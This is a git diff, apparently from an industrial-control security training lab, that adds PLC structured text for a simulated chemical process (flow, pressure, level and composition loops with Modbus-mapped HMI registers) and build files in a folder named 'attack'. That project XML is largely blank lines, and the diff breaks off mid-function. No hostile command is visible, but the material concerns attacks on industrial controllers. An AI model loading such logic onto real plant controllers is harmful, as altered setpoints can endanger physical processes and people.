END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void 